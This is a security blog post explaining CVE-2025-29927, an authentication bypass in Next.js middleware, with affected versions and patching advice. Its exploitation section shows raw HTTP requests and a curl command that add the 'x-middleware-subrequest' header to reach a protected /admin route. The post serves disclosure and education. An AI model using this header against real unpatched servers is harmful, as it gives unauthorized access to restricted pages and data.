--- title: The Latest On Cve 2025 29927 Nextjs Vulnerability author: Lorikeet Security url: https://lorikeetsecurity.com/blog/the-latest-on-cve-2025-29927-nextjs-vulnerability --- # The Latest On Cve 2025 29927 Nextjs Vulnerability * Press Releases Technical Article # The latest on CVE-2025-29927 - NextJS Vulnerability * Hitesh ** April 10, 2025 ** 2 min read ** 444 views ## What is Next Next.js? Next.js is a web development framework developed by Vercel build top of React**which enable developers to build fast, scalable, high-performance and user-friendly web application What is this Vulnerability About?** 21 Mar 2025, CVE-2025-29927 was made public by Next,js maintainers and this**vulnerability can lead to Authentication bypass. This vulnerability is discovered by Rachid and Yasser Allam and possible to bypass authentication if they occur in middleware. Middleware is a powerful feature that allows developers to run custom code before a request is completed. This can be done by crafted HTTP request that contains the internal header ‘x-middleware-subrequest’ This effect version earlier than 15.2.3 for 15.x, earlier than 12.3.5 for 12.x, earlier than 13.5.9 for 13.x, earlier than 14.2.25 for 14.x > 🚨 New Arena Lab Dropped! Middleman (CVE-2025-29927) is now live on Parrot CTFs! 💥 Learn how to exploit a middleware authentication bypass in Next.js and gain access to protected routes. 🔓 Easy difficulty – perfect for sharpening your web exploitation skills! 🏆 Earn 10… [pic.twitter.com/aThJCF7J6d](https://t.co/aThJCF7J6d) — Parrot CTFs (@parrot_ctfs) [April 11, 2025](https://twitter.com/parrot_ctfs/status/1910531000939012443?ref_src=twsrc%5Etfw) How is this vulnerability exploitable?** The victim Next.js server must employ a Next.js middleware to exploit this**vulnerability, which is quite simple and straightforward. This consists of middleware.ts file. Incoming requests can be redirected, rewritten, or modified before the handler processes them thanks to the middleware function, which stands between the request and the final response. Technical Analysis** - This is the scenario for CVE-2025-29927 - As we discussed earlier , victim should use the middleware feature to perform**authentication on Next.js server . ( no other authentication layer ) *Authorization middleware flow without CVE-2025-29927 exploitation Authorization middleware flow with CVE-2025-29927 exploitation ‘x-middle-subrequest’ indicates that request is an internal subrequest that was initiated by middleware rather than a direct request from a user. The correct operation of several internal Next.js features depends on this header. By maintaining track if the middleware because the existence of this header prevents endless repetitive loops. However, because the existence of this header implies that the request should avoid specific middleware tests, this approach may inadvertently introduce a vulnerability that permits authentication bypass. Exploitation Method** Modify this request ``` GET /admin HTTP/1.1 Host: 192.168.248.133 Accept-Language: en-US,en;q=0.9 Upgrade-Insecure-Requests: 1 Accept-Encoding: gzip, deflate, br Connection: keep-alive ``` To This Request ``` GET /admin HTTP/1.1 Host: 192.168.248.133 **x-middleware-subrequest: 1*** Accept-Language: en-US,en;q=0.9 Upgrade-Insecure-Requests: 1 Accept-Encoding: gzip, deflate, br Connection: keep-alive ``` We can made request through curl command line utility . ``` curl -H "x-middleware-subrequest: 1" http:///admin ``` **Conclusion ** how a seemingly innocuous internal header in Next.js may circumvent important middleware checks, allowing illegal access to restricted routes. It acts as a reminder of how important it is to keep up with dependency updates and audit authorization logic. Patching CVE-2025-29927 should be a top priority for organizations employing Next.js applications that are available to the public to lessen vulnerability to this kind of exploit. You can check out our lab as well: [Parrot CTFs: Premier Ethical Hacking Labs and Training | Middleman](https://parrot-ctfs.com/hacking/labs/57) ** Parrot CTFs ** Web Application Hacking ** CVE-2025-29927 ** NextJS ** Written by #### Hitesh Cybersecurity professional and contributor at Lorikeet Security. Share this article [**](https://twitter.com/intent/tweet?url=https%3A%2F%2Florikeetsecurity.com%2Fblog%2Fthe-latest-on-cve-2025-29927-nextjs-vulnerability&text=The+latest+on+CVE-2025-29927+-+NextJS+Vulnerability) [**](https://www.linkedin.com/sharing/share-offsite/?url=https%3A%2F%2Florikeetsecurity.com%2Fblog%2Fthe-latest-on-cve-2025-29927-nextjs-vulnerability) [**](https://www.reddit.com/submit?url=https%3A%2F%2Florikeetsecurity.com%2Fblog%2Fthe-latest-on-cve-2025-29927-nextjs-vulnerability&title=The+latest+on+CVE-2025-29927+-+NextJS+Vulnerability) ** [** Back to Blog](/blog) ## Related Articles [ ** ** Apr 14, 2025 ### Critical RCE Vulnerability in BentoML (CVE-2025-27520): What You Need to Know What is BentoML? BentoML is a popular Python framework designed for building and deploying AI-powere... ](/blog/critical-rce-vulnerability-in-bentoml-cve-2025-27520-what-you-need-to-know)